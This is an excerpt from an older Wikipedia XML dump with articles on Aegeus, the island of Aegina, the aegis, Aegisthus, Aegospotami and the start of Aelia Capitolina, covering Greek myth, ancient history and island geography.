[[es:Civilización egea]]
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  <page>
    <title>Aegeus</title>
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      <text xml:space="preserve">In [[Greek mythology]], '''Aegeus''', also '''Aigeus''', '''Aegeas''' or '''Aigeas''', was the father of [[Theseus]] and an [[Kings of Athens|Athenian King]].  He was the son of [[Pandion II]] and a brother of [[Pallas]], [[Nisos]], and [[Lykos]].

Upon the death of Pandion, Aegeus and his brothers took control of [[Athens]] from [[Metion]], who had seized the throne from Pandion.  They divided the government in four but Aegeas became king.  His first wife was [[Meta]] and the second was [[Chalciope]].

Still without a male heir, Aegeus asked the [[Delphic Sibyl|Oracle]] at [[Delphi]] for advice.  Her cryptic words were &quot;Do not loosen the bulging mouth of the wineskin until you have reached the height of Athens, lest you die of grief.&quot; 

Aegeus (king of Athens) went to [[Troezen|Troezena]] and met with [[Aethra]], daughter of Troezena's king [[Pittheus]]. Pittheus understood the prophesy and introduced Aegeas to his daughter, Aethra, when he was drunk.  They had sex and then, in some versions, Aethra waded out to the sea to [[Sphairia]] and had sex with [[Poseidon]].  When she fell pregnant, Aegeus decided to go back to Athens. Before leaving, he covered his sandals, shield and sword under a huge rock and told her that when their son grew up, he should move the rock and bring the weapons back.  Upon his return to Athens, Aegeus married [[Medea]] who had fled from [[Corinth]] and the wrath of [[Jason]].  Aegeus and Medea had one son together named [[Medus]]. 

In Troezen, Theseus grew up and became a brave young man.  He managed to move the rock and took his father's arms.  His mother then told him the truth about who his father was and how he should take the weapons back to him.  Theseus decided to go to Athens and had the choice of going by sea, which was the safe way or by land, following a dangerous path with thieves and bandits all the way.  Young, brave and ambitious, Theseus decided to go to Athens by land.

When Theseus arrived, he did not reveal his true identity.  He was welcomed by Aegeas, who was suspicious about the stranger who came to Athens.  Medea  tried to have Aegeas kill Theseus by asking him to capture the [[Marathonian Bull]], but Theseus succeeded.  She tried to poison him but at the last second, Aegeas recognized the sandals, shield and sword and knocked the wine glass out of Theseus' hand.  Father and son were reunited.

While visiting in Athens, King [[Minos]]' son, [[Androgeus]], managed to defeat Aegeus in every contest during a feast. Out of jealousy, Aegeus killed him.  Minos was angry and declared war on Athens.  He offered the Athenians peace, however, under the condition that Athens would send seven young men and seven young women every year to [[Crete]] to be fed to the [[Minotaur]], a vicious monster.  This continued until Theseus killed the Minotaur with the help of Ariadne, Minos' daughter.

Aegeus had told Theseus, before he left, to put up the white sails when he left Crete, if he had been successful in killing the Minotaur.  Theseus forgot (deliberately, according to some accounts) and Aegeus jumped into the sea when he saw the black sails coming into Athens, in the mistaken belief that his son had been slain, thus fulfilling the prophecy.  Henceforth, this sea was known as the [[Aegean Sea]].

See also:
[[Apollodorus]]. [[Bibliotheke]]; [[Catullus]], LXIV; [[Plutarch]]. [[Theseus]].

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    <title>Aegina</title>
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      <text xml:space="preserve">:''This article is about the island. For the [[Greek mythology|Greek mythological]] figure, see [[Aegina (mythology)]]. For the asteroid, see [[91 Aegina]]. The word also refers to the main town on the island of Aegina.''
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&lt;!--! Seal
! Map
|---- bgcolor=&quot;#FFFFFF&quot;
| align=&quot;center&quot; | 
!
|---- bgcolor=&quot;#FFFFFF&quot;
! align=&quot;center&quot; | [[Image:AiginaGreece.png]]
! align=&quot;center&quot; | [[Image:GreecedotonAigina.png]]
|---&gt;
! align=&quot;center&quot; colspan=&quot;2&quot; | Statistics
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Prefectures of Greece|Prefecture]] || [[Attica]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Metropolitan Area]]: || [[Athens]] (Piraeus)
|---- bgcolor=&quot;#FFFFFF&quot;
| Prefectural sect: || [[Piraeus]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Provinces of Greece|Province]]: || Aigina (106 km²)
|---- bgcolor=&quot;#FFFFFF&quot; valign=&quot;top&quot;
| Location: || {{coor dms|37|44|44|N|23|25|39|E|region:GR}}
|---- bgcolor=&quot;#FFFFFF&quot;
| Area:&lt;br&gt;-Total&lt;br&gt;-Water&lt;br&gt;-Rank||&lt;br&gt;110 km²&lt;br&gt;&lt;!-- km²&lt;br&gt;[[List of municipalities of Greece by area|Rank xxth]]--&gt;
&lt;!--|---- bgcolor=&quot;#FFFFFF&quot;
| Dwellings: ||--&gt;
|---- bgcolor=&quot;#FFFFFF&quot;
| Population: ([[2001]])&lt;br&gt;&amp;nbsp;- Total&lt;br&gt;&amp;nbsp;- Density¹&lt;br&gt;&amp;nbsp;- Rank||&lt;br&gt;&amp;nbsp;11,639&lt;br&gt;&lt;br&gt;&amp;nbsp;151.13/km&lt;/small&gt;&lt;br&gt;
|---- bgcolor=&quot;#FFFFFF&quot;
| Elevation:&lt;br&gt;&amp;nbsp;-lowest:&lt;br&gt;&amp;nbsp;-centre:&lt;!--&lt;br&gt;&amp;nbsp;-highest:--&gt;||&lt;br&gt;sea level&lt;br&gt;19 m(centre)&lt;br&gt;532 m
|---- bgcolor=&quot;#FFFFFF&quot;
| [[List of postal codes in Greece|Postal code]]: || 180 10
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Area codes in Greece|Area/distance code]]: || 11-30-[[Greece dialing code 22970|210]] (030-22970)&lt;br&gt;
|---- bgcolor=&quot;#FFFFFF&quot;
| [[YPES|Municipal code]]: || 4003
|---- bgcolor=&quot;#FFFFFF&quot;
| [[License plates in Greece|Car designation]]: || &lt;code&gt;Y&lt;/code&gt; (prev.)&lt;br&gt;&lt;code&gt;Z&lt;/code&gt; pres. 
|---- bgcolor=&quot;#FFFFFF&quot;
| 3-letter abbreviation: || EGP
|---- bgcolor=&quot;#FFFFFF&quot;
| Name of inhabitants: || Aeginian ''sing.''&lt;br&gt;-s ''pl.''
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| Address of administration: || 1 Christou Lada St..&lt;br&gt;Aigina 180 10
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| Website: || [http://www.aigina.gr www.aigina.gr]
&lt;!--|---- bgcolor=&quot;#FFFFFF&quot;
! colspan=&quot;2&quot; | Politics
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| [[Mayor]]: ||--&gt;
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'''Aegina ''' ([[Greek language|Greek]]: Αίγινα ''Egina''), one of the [[Greek islands|Saronic Islands]] of [[Greece]] in the [[Saronic Gulf]], 31 miles (50 km)  from [[Athens]]. [[Tradition]] derives the name from Aegina, the mother of [[Aeacus]], who was born in and ruled the island.  In shape Aegina is triangular, eight miles (13 km) long from northwest to southeast, and six miles (15 km) broad, with an area of about 41 square miles (106 km²).  Two thirds of Aegina constitute an extinct volcano. The northern and western side consist of stony but fertile plains, which are well cultivated and produce luxuriant crops of grain, with some [[cotton]], vines, [[almond]]s, olives and [[fig]]s, but the most characteristic crop of today (1990s) Aegina is the [[pistachio]]. The southern volcanic part of the island is rugged and mountainous, and largely barren.  Its highest rise is the conical Mount Oros in the south, and the Panhellenian ridge stretches northward with narrow fertile valleys on either side.  From the absence of marshes the climate is the most healthy in Greece.

The island forms part of the modern Uomos of Attica and Boeotia, of which it forms an eparchy. The sponge fisheries are of considerable importance.  The capital is the town of Aegina, situated at the northwestern end of the island, the summer residence of many Athenian merchants.  [[Capo d'Istria]] (1776-1831) had a large building erected intended for a barracks, which was subsequently used as a museum, a library and a school.  The museum was the first institution of its kind in Greece, but the collection was transferred to [[Athens]] in [[1834]]. A statue in the principal square comemorates him.  

== Antiquities ==
[[Image:Glypto aegina.JPG|thumb|[[Athena]] from the east pediment of the Aphaea temple in Aegina]]
The archaeological interest of Aegina is centred in the well-known temple on the ridge near the northern corner of the island.  Excavations were made on its site in [[1811]] by Baron [[Haller von Hallerstein]] and the English architect C. R. Cockerell, who discovered a considerable number of the sculptures from the pediment, which was bought in [[1812]] by the crown prince Louis of Bavaria; the groups were set up in the [[Glyptothek]] at [[Munich]] after the figures had been restored by [[Bertel Thorvaldsen]]. His restoration was somewhat drastic, the ancient parts being cut away to allow of additions in marble, and the new parts treated in imitation of the ancient weathering.

Various conjectures were made as to the arrangement of the figures.  That according to which they were set up at Munich was in the main suggested by Cockerell; in the middle of each pediment was a figure of Athena, set well back, and a fallen warrior at her feet; on each side were standing spearmen, kneel ing spearmen and bowmen, all facing towards the centre of the composition; the corners were filled with fallen warriors.  In [[1901]] Professor [[Adolf Furtwängler]] began a more systematic excavation of the site, and the new discoveries he then made, together with a fresh and complete study of the figures and fragments in Munich, have led to a rearrangement of the whole, which, if not certain in all details, may be regarded as approaching finality.  According to this the figures of combatants do not all face towards the centre, but are broken up, as in other early compositions, into a series of groups of two or three figures each.

A figure of Athena still occupies the centre of each pediment, but is set farther forward than in the old reconstruction.  On each side of this, in the western pediment, is a group of two combatants over a fallen warrior; in the eastern pediment, a warrior whose opponent is falling into the arms of a supporting figure; other figures also &amp;ndash; the bowmen especially &amp;ndash; face towards the angles, and so give more variety to the composition.  The western pediment, which is more conservative in type, represents the earlier expedition of Heracles and Telamon against Troy; the eastern, which is bolder and more advanced, probably refers to episodes in the Trojan war.  There are also remains of a third pediment, which may have been produced in competition, but never placed on the temple.  For the character of the sculptures see [[Greek Art]]. The plan of the temple is chiefly remarkable for the unsymmetrically placed door leading from the back of the [[cella]] into the [[opisthodomus]].  This opisthodomus was completely fenced in with bronze gratings; and the excavators believe it to have been adapted for use as an adytum (shrine).  It was disputed in earlier times whether the temple was dedicated to Zeus or Athena.  Inscriptions found by the recent excavations seem to prove that it must be identified as the shrine of the local goddess Aphaea, identified by Pausanias with Britomartis and Dictynna. 

These and further German-Greek excavations in the 1960's and 1970's have laid bare several other buildings, including an altar, early propylaea, houses for the priests and remains of two earlier temples.  The present temple probably dates from the time of the [[Persian Wars]].  In the town of Aegina itself are the remains of another temple, dedicated to Aphrodite; one column of this still remains standing, and its foundations are fairly preserved. The fundaments of another two temples are known on the island, one of which is on the northern flank of Mt. Oros, today topped by a church.

== Ancient History ==
Aegina, according to [[Herodotus]] (v. 83), was a [[colony]] of [[Epidaurus]], to which state it was originally subject.  The discovery in the island of a number of gold ornaments belonging to the latest period of [[Mycenaean]] art suggests the inference that the Mycenaean culture held its own in Aegina for some generations after the [[Dorian]] conquest of Argos and Lacedaemon (see A. J. Evans, in Journal of Hellenic Studies, vol. xiii. p. 195).  It is probable that the island was not dorized before the [[9th century BC]] One of the earliest facts known to us in its history is its membership in the League of [[Calauria]], which included, besides Aegina, Athens, the Minyan (Boeotian) Orchomenos, Troezen, Hermione, Nauplia and Prasiae, and was probably an organization of states which were still Mycenaean, for the oppression of the piracy which had sprung up in the Aegean as a result of the decay of the naval supremacy of the Mycenaean princes.

It follows, therefore, that the maritime importance of the island dates back to pre-Dorian times.  It is usually stated on the authority of Ephorus, that [[Pheidon]] of Argos established a mint in Aegina.  Though this statement is probably to be rejected, it may be regarded as certain that Aegina was the first state of European Greece to coin money.  Thus it was the Aeginetes who, within thirty or forty years of the invention of coinage by the [[Lydians]] (c. [[700 BC]]), introduced to the western world a system of such incalculable value to trade.  The fact that the Aeginetan scale of coins, weights and measures was one of the two scales in general use in the Greek world is sufficient evidence of the early commercial importance of the island.  
It appears to have belonged to the [[Eretrian]] league during the [[Lelante War]]; hence, perhaps, we may explain the war with [[Samos Island|Samos]], a leading member of the rival Chalcidian league in the reign of King [[Amphicrates]] (Herod. iii. 59), i.e. not later than the earlier half of the 7th century B.C. 
In the next century Aegina is one of the three principal states trading at the emporium of [[Naucratis]], and it is the only state of European Greece that has a share in this factory (Herod. ii. 178).  
At the beginning of the [[5th century]] it seems to have been an entrepot of the Pontic grain trade, at a later date an Athenian monopoly (Herod. vii. 147).  Unlike the other commercial states of the 7th and 6th centuries B.C., e.g. Corinth, Chalcis, Eretria and Miletus, Aegina founded no colonies.  
The settlements to which Strabo refers (viii. 376) cannot be regarded as any real exceptions to this statement. 

The history of Aegina, as it has come down to us, is almost exclusively a history of its relations with the neighbouring state of Athens.  The history of these relations, as recorded by Herodotus (v. 79-89; vi. 49-51, 73, 85-94), involve critical problems of some difficulty and interest.  He traces back the hostility of the two states to a dispute about the images of the goddesses Damia and Auxesia, which the Aeginetes had carried off from [[Epidaurus|Epidauros]], their parent state.  The Epidaurians had been accustomed to make annual offerings to the Athenian deities Athena and Erechtheus in payment for the Athenian olive-wood of which the statues were made.  Upon the refusal of the Aeginetes to continue these offerings, the [[Athenians]] endeavoured to carry away the images.  Their design was miraculously frustrated &amp;ndash; according to the Aeginetan version, the statues fell upon their knees &amp;ndash; and only a single survivor returned to Athens, there to fall a victim to the fury of his comrades' widows, who pierced him with their brooch-pins.  No date is assigned by Herodotus for this ''old feud''; recent writers, e.g. [[J. B. Bury]] and R. W. Macan, suggest the period between Solon and Peisistratus, circa [[570 BC]]. 
It may be questioned, however, whether the whole episode is not mythical.  A critical analysis of the narrative seems to reveal little else than a series of aetiological traditions (explanatory of cults and customs, e.g. of the kneeling posture of the images of Damia and Auxesia, of the use of native ware instead of Athenian in their worship, and of the change in women's dress at Athens from the Dorian to the [[Ionia|Ionian]] style.  

The account which Herodotus gives of the hostilities between the two states in the early years of the [[5th century BC]] is to the following effect.  Thebes, after the defeat by Athens about [[507 BC]], appealed to Aegina for assistance.  The Aeginetans at first contented themselves with sending the images of the Aeacidae, the [[tutelary]] heroes of their island.  Subsequently, however, they entered into an alliance, and ravaged the sea-board of Attica.  The Athenians were preparing to make reprisals, in spite of the advice of the [[Delphic oracle]] that they should desist from attacking Aegina for thirty years, and content themselves meanwhile with dedicating a precinct to Aeacus, when their projects were interrupted by the Spartan intrigues for the restoration of [[Hippias]].  In [[401 BC]] Aegina was one of the states which gave the symbols of submission (''earth and water'') to Persia.  Athens at once appealed to Sparta to punish this act of medism, and [[Cleomenes I]], one of the Spartan kings, crossed over to the island, to arrest those who were responsible for it.  His attempt was at first unsuccessful; but, after the deposition of [[Demaratus]], he visited the island a second time, accompanied by his new colleague Leotychides, seized ten of the leading citizens and deposited them at Athens as hostages.

After the death of Cleomenes and the refusal of the Athenians to restore the hostages to Leotychides, the Aeginetans retaliated by seizing a number of Athenians at a festival at Sunium.  Thereupon the Athenians concerted a plot with Nicodromus, the leader of the democratic party in the island, for the betrayal of Aegina.  He was to seize the old city, and they were to come to his aid on the same day with seventy vessels.  The plot failed owing to the late arrival of the Athenian force, when [[Nicodromus]] had already fled the island.  An engagement followed in which the Aeginetans were defeated.  Subsequently, however, they succeeded in winning a victory over the Athenian fleet.  Alf the incidents subsequent to the appeal of Athens to Sparta are expressly referred by Herodotus to the interval between the sending of the heralds in [[491 BC]] and the invasion of Datis and Artaphernes in [[490 BC]] (cf. Herod. vi. 49 with 94). There are difficulties in this story, of which the following are the principal: &amp;ndash; (i.) Herodotus nowhere states or implies that peace was concluded between the two states before [[481 BC]], nor does he distinguish between different wars during this period.  Hence it would follow that the war lasted from shortly after [[507 BC]] down to the congress at the Isthmus of Corinth in [[481 BC]] (ii.) It is only for two years ([[490 BX|490]] and [[491 BC|491]]) out of the twenty-five that any details are given.  It is the more remarkable that no incidents are recorded in the period between [[battle of Marathon|Marathon]] and [[Battle of Salamis|Salamis]], seeing that at the time of the Isthmian Congress the war is described as the most important one then being waged in Greece (Herod. vii. 145). (iii.) It is improbable that Athens would have sent twenty vessels to the aid of the Ionians in [[499 BC]] if at the time she was at war with Aegina. (iv.) There is an incidental indication of time, which points to the period after Marathon as the true date for the events which are referred by Herodotus to the year before Marathon, viz. the thirty years that were to elapse between the dedication of the precinct to Aeacus and the final victory of Athens (Herod. v. 89).

As the final victory of Athens over Aegina was in 458 B.C., the thirty years of the oracle would carry us back to the year [[488 BC]] as the date of the dedication of the precinct and the outbreak of hostilities.  This inference is supported by the date of the building of the 200 triremes ''for the war against Aegina'' on the advice of [[Themistocles]], which is given in the Constitutiom of Athens as 483-482 B.C. (Herod. vii. 144; Ath. Pol. r2. 7). It is probable, therefore, that Herodotus is in error both in tracing back the beginning of hostilities to an alliance between Thebes and Aegina (c. 507 BC) and in putting the episode of Nicodromus before Marathon.  Overtures were unquestionably made by Thebes for an alliance with Aegina c. [[507 BC]], but they came to nothing.  The refusal of Aegina was veiled under the diplomatic form of ''sending the Aeacidae.'' The real occasion of the outbreak of the war was the refusal of Athens to restore the hostages some twenty years later.  There was but one war, and it lasted from 488 to 481. That Athens had the worst of it in this war is certain. Herodotus had no Athenian victories to record after the initial success, and the fact that Themistocles was able to carry his proposal to devote the surplus funds of the state to the building of so large a fleet seems to imply that the Athenians were themselves convinced that a supreme effort was necessary.  It may be noted, in confirmation of this view, that the naval supremacy of Aegina is assigned by the ancient writers on chronology to precisely this period, i.e. the years 490-480 ([[Eusebius of Caesarea|Eusebius]], Chron.  Can. p. 337). 

In the repulse of [[Xerxes I]] it is possible that the Aeginetans played a larger part than is conceded to them by Herodotus.  The Athenian tradition, which he follows in the main, would naturally seek to obscure their services.  It was to Aegina rather than Athens that the prize of valour at Salamis was awarded, and the destruction of the Persian fleet appears to have been as much the work of the Aeginetan contingent as of the Athenian (Herod. viii. 91). There are other indications, too, of the importance of the Aeginetan fleet in the Greek scheme of defence.  In view of these considerations it becomes difficult to credit the number of the vessels that is assigned to them by Herodotus (30 as against 180 Athenian vessels, cf. [[Greek History]], sect. Authorities).  During the next twenty years the Philo-laconian policy of [[Cimon]] secured Aegina, as a member of the Spartan league, from attack.  The change in Athenian foreign policy, which was consequent upon the ostracism of Cimon in 461, led to what is sometimes called the First Peloponnesian War, in which the brunt of the fighting fell upon Corinth and Aegina.  The latter state was forced to surrender to Athens after a siege, and to accept the position of a subject-ally (c. 456 B.C.).  The tribute was fixed at 30 talents.  

By the terms of the Thirty Years' Truce ([[445 BC]]) Athens covenanted to restore to Aegina her autonomy, but the clause remained a dead letter.  In the first winter of the [[Peloponnesian War]] ([[431 BC]]) Athens expelled the Aeginetans, and established a cleruchy in their island.  The exiles were settled by Sparta in Thyreatis, on the frontiers of Laconia and Argolis.  Even in their new home they were not safe from Athenian rancour.1 A force landed under Nicias in [[424 BC|424]], and put most of them to the sword.  At the end of the Peloponnesian War Lysander restored the scattered remnants of the old inhabitants to the island, which was used by the Spartans as a base for operations against Athens in the Corinthian War. Its greatness, however, was at an end.  The part which it plays henceforward is insignificant. 

It would be a mistake to attribute the fall of Aegina solely to the development of the Athenian navy.  It is probable that the powor of Aegina had steadily declined during the twenty years after Sabamis, and that it had declined absolutely, as well as relatively, to that of Athens.  Commerce was the source of Aegina's greatness, and her trade, which appears to have been principally with the Levant, must have suffered seriously from the war with [[Iran|Persia]].  Her medism in [[491 BC|491]] is to be explained by her commercial relations with the Persian Empire.  She was forced into patriotism in spite of herself, and the glory won by [[Salamis]] was paid for by the loss of her trade and the decay of her marine.  The completeness of the ruin of so powerful a state &amp;ndash; we should look in vain for an analogous case in the history of the modern world &amp;ndash; finds an explanation in the economic conditions of the island, the prosperity of which rested upon a basis of slave-labour.  It is impossible, indeed, to accept Aristotle's (cf. Athenaeus vi. 272) estimate of 470,000 as the number of the slave-population; it is clear, however, that the number must have been out of all proportion to that of the free inhabitants.  In this respect the history of Aegina does but anticipate the history of Greece as a whole.  The constitutional history of Aegina is unusually simple.  So long as the island retained its independence the government was an oligarchy.  There is no trace of the heroic monarchy and no tradition of a tyrannis. The story of Nicodromus, while it proves the existence of a democratic party, suggests, at the same time, that it could count upon little support.

Pericles called Aegina the ''eye-sore'' (leme) of the Peiraeus. The physician [[Paul of Aegina]] came from here, and was the most respected medical scholar of the [[Byzantine Empire]] for many years.

== Modern  History ==
Aegina passed with the rest of Greece under the successive dominations of Macedon, the Aetolians, Attalus of Pergamum and [[Roman empire|Rome]].  In [[1537]] the island, then a prosperous Venetian colony, was overrun and ruined by the pirate Barbarossa (Khair-ed-Din).  One of the last Venetian strongholds in the Levant, it was ceded by the [[Treaty of Passarowitz]] ([[1718]]) to the Turks.  In [[1826]]-[[1828]] the town became for two years (Jan. 1828 - Dec. 1829) the first capital of Modern Greece. Today Aegina is a famous tourist destination. It takes about 35 minutes to arrive in Aegina from the Piraus port.

==Communities and villages==

*[[Aegina the city ]]
*[[Kipseli]]
*[[Agia Marina (Aegina), Greece|Agia Marina]]
*[[Anitseon]]
*[[Kontos (Aegina), Greece|Kontos]]
*[[Kypseli (Aegina), Greece|Kypseli]]
*[[Marathon, Aegina|Marathon]]
*[[Mesagros]]
*[[Metochi (Aegina), Greece|Metochi]]
*[[Perdika (Aegina), Greece|Perdika]]
*[[Portes (Aegina), Greece|Portes]]
*[[Souvala]]
*[[Vagia, Greece|Vagia]]
*[[Vathy (Aegina), Greece|Vathy]]

==Historical population==

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;11
|- bgcolor=&quot;#efefef&quot;
! Year !! Communal population !! Change !! Municipal/Island population || Change
|-
| [[1981]] || 6,730 || - || 11,127 || -
|-
| [[1991]] || 6,373 || -357/-5.20% || 11,639 || 512/4.50%&lt;!--
|-
| [[2001]] || - || - || - || - --&gt;
|}

There are no municipal boundaries in the island, it is encircled with the [[Saronic Gulf]].

== Daughter of Asopus ==
In [[Greek mythology]], '''[[Aegina (mythology)|Aegina]]''' was a daughter of the river god [[Asopus]] and the [[nymph]] [[Metope (mythology)|Metope]]. She bore at least two children: [[Menoetius]] by [[Actor (mythology)|Actor]], and [[Aeacus]] by [[Zeus]].

When Zeus abducted Aegina, he took her to [[Oenone]], an island close to [[Attica]]. This island would later be called Aegina. Here, Aegina gave birth to Aeacus, who would later become king of Oenone; henceforth, Aegina.

== External links ==
* [http://www.aeginagreece.com Aegina's Ultimate Internet Guide] &amp;ndash; The most complete and up to date online guide about Aegina island
* [http://www.travel-to-aegina.com Aegina] &amp;ndash; A travel guide to Aegina island
* [http://www.aegina.gr Aegina.gr]
* [http://www.aroundaegina.com Travel Guide for Aegina Island]

{{1911}}

[[Category:Athens]]
[[Category:Islands of Greece]]
&lt;!--[[Category:Greek provinces]]--&gt;
[[Category:Cities and towns in Greece]]

[[ca:Egina]]
[[de:Aigina (Insel)]]
[[et:Aígina]]
[[es:Egina]]
[[fr:Égine (île)]]
[[it:Egina (isola)]]

[[ja:アイギナ島]]
[[la:Aegina]]
[[nl:Egina]]
[[sv:Egina]]</text>
    </revision>
  </page>
  <page>
    <title>Aegis</title>
    <id>2628</id>
    <revision>
      <id>41937218</id>
      <timestamp>2006-03-02T19:20:55Z</timestamp>
      <contributor>
        <username>Abhorsen327</username>
        <id>1006868</id>
      </contributor>
      <comment>Added Edith Hamilton's reference to the Aegis</comment>
      <text xml:space="preserve">{{otheruses}}

'''Aegis ''' (Gr. ''&amp;#913;&amp;#953;&amp;#947;&amp;#943;&amp;#962;''), in [[Homer]], is the [[shield]] or buckler of [[Zeus]], fashioned for him by [[Hephaestus]], furnished with tassels and bearing the [[Gorgon]]'s head in the centre.  Originally symbolic of the storm-cloud, it is probably derived from ''aisso'', signifying rapid, violent motion.  Another possible etymology is from the root ''&amp;#913;&amp;#953;&amp;#947;-'' (Aeg-) meaning wave, as per ''&amp;#913;&amp;#953;&amp;#947;&amp;#945;&amp;#943;&amp;#959;&amp;#957;'' (Aegean) = wavy sea. When the god shakes it, [[Mount Ida]] is wrapped in clouds, the thunder rolls and men are smitten with fear.  He sometimes lends it to [[Athena]] and (rarely) to [[Apollo (god)|Apollo]]. According to Part One, Section One of [[Edith Hamilton]]'s &quot;Mythology: Timeless Tales of Gods and Heroes&quot; (Warner Books' United States Paperback Edition), the Aegis is [[Zeus]]' [[breastplate]], and was &quot;awful to behold.&quot;

In a later story ([[Gaius Julius Hyginus|Hyginus]], Poet.  Astronom. ii. 13) Zeus is said to have used the skin of the [[goat]] [[Amalthea (mythology)|Amalthea]] (aigis=goat-skin) which suckled him in [[Crete]], as a buckler when he went forth to do battle against the giants.  There is also the legend which represents the aegis as a fire-breathing monster like the [[Chimera (creature)|Chimera]], which was slain by Athena, who afterwards wore its skin as a [[cuirass]] ([[Diodorus Siculus]] iii. 70).  Still others say it was the skin of the monstrous giant [[Pallas (disambiguation)|Pallas]].

Another version describes it to have been really the goat's skin used as a belt to support the shield.  When so used it would generally be fastened on the right shoulder, and would partially envelop the chest as it passed obliquely round in front and behind to be attached to the shield under the left arm.  Hence, by [[metonymy]], it would be employed to denote at times the shield which it supported, and at other times a cuirass, the purpose of which it in part served.  In accordance with this double meaning, the aegis appears in works of art sometimes as an animal's skin thrown over the shoulders and arms, and sometimes as a cuirass, with a border of snakes corresponding to the tassels of Homer, usually with the Gorgon's head in the centre.  It is often represented on the statues of [[Roman Empire|Roman]] emperors, heroes, and warriors, and on cameos and vases. 

The aegis also appears in [[Egyptian Mythology]].  The goddess [[Bast (goddess)|Bast]] was sometimes depicted holding a ceremonial [[sistrum]] in one hand and an aegis in the other -- the aegis usually resembling a collar or [[gorget]] embellished with a lion's head.

Also, in [[Norse Mythology]], the dwarf [[Fafnir]] wears a helmet named Aegis.

==References==
*{{1911}}

[[Category: Mythical objects]]
[[Category:Motif of harmful sensation]]
[[Category:Ornaments]]

[[bg:Егида]]
[[cs:Aigis]]
[[da:Ægide]]
[[es:Égida]]
[[fr:Égide]]
[[it:Egida]]
[[nl:Aegis (Zeus)]]
[[ja:&amp;#12450;&amp;#12452;&amp;#12462;&amp;#12473;]]
[[pl:Egida]]
[[zh:&amp;#22467;&amp;#30328;&amp;#26031;]]</text>
    </revision>
  </page>
  <page>
    <title>Aegisthus</title>
    <id>2629</id>
    <revision>
      <id>33390763</id>
      <timestamp>2005-12-31T17:07:20Z</timestamp>
      <contributor>
        <ip>81.32.157.134</ip>
      </contributor>
      <comment>interwiki cat &amp; esp</comment>
      <text xml:space="preserve">In [[Greek mythology]], '''Aegisthus''' (&quot;goat strength&quot;, also [[transliteration|transliterated]] as '''Aegisthos''' or '''Aigísthos''') was the son of [[Thyestes]] and his daughter, [[Pelopia]].

Thyestes felt he had been deprived of the [[Mycenae|Mycenean]] throne unfairly by his brother, [[Atreus]].  The two battled back and forth several times.  In addition, Thyestes had an affair with Atreus' wife, [[Aerope]].  In revenge, Atreus killed Thyestes' sons and served them to him unknowingly.  After eating his own sons' corpses, Thyestes asked an [[oracle]] how best to gain revenge.  The advice was to father a son with his own daughter, Pelopia, and that son would kill Atreus.

When Aegisthus was born, his mother was ashamed of her incestuous act.  She abandoned him and he was raised by shepherds and suckled by a goat.  Atreus, not knowing the baby's origin, took Aegisthus in and raised him as his own.  When Aegisthus reached adulthood, Thyestes revealed his true parentage, that he was both father and grandfather to Aegisthus, who then killed Atreus and seized the throne.

Aegisthus and Thyestes ruled over [[Mycenae]] jointly, exiling Atreus' sons, [[Agamemnon]] and [[Menelaus]] to [[Sparta]], where King [[Tyndareus]] gave the pair his daughters, [[Clytemnestra]] and [[Helen]], to take as wives. At his death, Tyndareus gave his throne to Menelaus, who then helped Agamemnon overthrow Aegisthus and Thyestes.

After Agamemnon left Mycenae for the [[Trojan War]], Aegisthus wanted to seduce his wife, Clytemnestra (mother of [[Erigone]]). Agamemnon had left Clytemnestra with a singer; as long as the singer was present, Clytemnestra resisted Aegisthus. Aegisthus then took the singer to a deserted island, and Clytemnestra was seduced. On the kings' return after the ten-year war, Aegisthus helped Clytemnestra kill Agamemnon (and his new concubine, [[Cassandra]]); they subsequently ruled Mycenae for seven years.

Eight years later, Agamemnon's son, Orestes, and his daughter, [[Electra]], returned to Mycenae and killed both Clytemnestra, and Aegisthus.

[[Homer]], ''Od.'' iii. 263, iv. 517; [[Gaius Julius Hyginus|Hyginus]], ''Fab.'' 87.

Much later, when Orestes was visiting [[Iphigenia]] in [[Crimea]], Aegisthus' son, [[Alete]], took over [[Mycenae]].  Orestes killed him upon his return.

[[Category:Greek mythological people]]

[[ca:Egist]]
[[de:Aigisthos]]
[[es:Egisto]]
[[fr:Égisthe]]
[[it:Egisto]]
[[lt:Egistas]]
[[nl:Aegisthus]]
[[pl:Aigistos]]
[[pt:Egisto]]
[[sv:Aigisthos]]</text>
    </revision>
  </page>
  <page>
    <title>Aegospotami</title>
    <id>2630</id>
    <revision>
      <id>34635318</id>
      <timestamp>2006-01-10T17:46:05Z</timestamp>
      <contributor>
        <username>Vriullop</username>
        <id>750481</id>
      </contributor>
      <minor />
      <comment>interwiki +ca</comment>
      <text xml:space="preserve">'''Aegospotami ''' (i.e. ''Goat Streams'') is a small river issuing into the [[Hellespont]], northeast of [[Sestos]].  It was the scene of the decisive [[battle of Aegospotami|battle]] in [[405 BC]] by which [[Lysander]] destroyed the [[Athens|Athenian]] fleet in the [[Peloponnesian War]].

The township of that name, whose existence is attested by coins of the 5th and 4th centuries, must have been quite insignificant.

==References==
*{{1911}}

[[ca:Aegospotami]]
[[nl:Aegospotami]]</text>
    </revision>
  </page>
  <page>
    <title>AElfric</title>
    <id>2631</id>
    <revision>
      <id>15901026</id>
      <timestamp>2005-05-03T22:39:40Z</timestamp>
      <contributor>
        <username>Krun</username>
        <id>246742</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Ælfric]]</text>
    </revision>
  </page>
  <page>
    <title>Aelia Capitolina</title>
    <id>2632</id>
    <revision>
      <id>40544408</id>
      <timestamp>2006-02-21T09:05:23Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <comment>adding in what the prohibition in question was</comment>
      <text xml:space="preserve">[[Image:Madaba map.jpg|thumb|150px|The Madaba Map depiction of sixth-century [[Jerusalem]] has the ''[[Cardo]] Maximus'', the town’s main street, beginning at the northern gate, today's [[Gates in Jerusalem's Old City Walls|Damascus Gate]], and traversing the city in a straight line from north to south to [[Nea Church]].]]

'''''Aelia Capitolina''''' ([[Latin language|Latin]] in full: ''Colonia Aelia Capitolina'') was a city built by the emperor [[Hadrian]] in the year [[131]], and occupied by a [[Roman colony]], on the site of [[Jerusalem]], which was in ruins when he visited his dominion known as [[Syria Palæstina]].

